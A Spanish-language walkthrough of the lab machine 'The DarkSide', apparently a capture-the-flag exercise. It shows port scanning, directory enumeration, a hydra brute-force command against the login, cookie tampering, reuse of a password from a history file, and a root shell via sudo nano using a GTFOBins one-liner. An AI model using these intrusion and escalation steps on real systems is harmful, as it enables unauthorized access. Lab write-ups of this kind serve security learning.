Comenzamos con un escaneo general y específico de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.20❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-10 14:24 -03
Nmap scan report for 192.168.1.20
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)
| 256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)
|_ 256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: The DarkSide
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 secondsEnumeramos directorios con gobuster:
❯ gobuster dir -u http://192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.php (Status: 200) [Size: 683]
/backup (Status: 301) [Size: 313] [--> http://192.168.1.20/backup/]
...En /backup encontramos un vote.txt que revela varios usuarios y uno destacado, kevin:
❯ cat vote.txt
File: vote.txt
rijaba: Yes
xerosec: Yes
sml: No
cromiphi: No
gatogamer: No
chema: Yes
talleyrand: No
d3b0o: Yes
Since the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.El index tiene un login. Hacemos fuerza bruta con el usuario kevin (con el Intruder de Burp o, alternativamente, con hydra):
❯ hydra -l kevin -P ~/Documentos/wordlists/rockyou.txt 192.168.56.107 http-post-form "/:user=kevin&pass=^PASS^:invalid"Una vez dentro, nos recibe un mensaje con una cadena cifrada:
Hello Kevin
Remember to go to:
kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCCCon CyberChef (opción Magic) la desciframos a una dirección .onion:
sfqekmgncutjhbypvxda.onionEn ese directorio hay un mensaje y un script que comprueba una cookie:
Which Side Are You On?<script>
var sideCookie = document.cookie.match(/(^| )side=([^;]+)/)
if (sideCookie && sideCookie[2] === 'darkside') {
window.location.href = 'hwvhysntovtanj.password'
}
</script>Manipulamos la cookie con la extensión EditThisCookie, cambiando el valor whiteside por darkside. Al recargar, la página nos muestra unas credenciales con las que iniciamos sesión por SSH y obtenemos la primera flag.
Inspeccionando el home del usuario, un archivo .history contiene lo que parece la contraseña de otro usuario (rijaba). Con esa sesión iniciamos la escalada con sudo -l:
rijaba@darkside:~$ sudo -l
Matching Defaults entries for rijaba on darkside:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rijaba may run the following commands on darkside:
(root) NOPASSWD: /usr/bin/nanoPodemos ejecutar nano como root. Lo abrimos y, según GTFOBins, usamos Ctrl+T para ejecutar comandos, lanzando una shell:
❯ sudo nano❯ reset; sh 1>&0 2>&0Obtenemos acceso root y capturamos la última bandera.
Fin.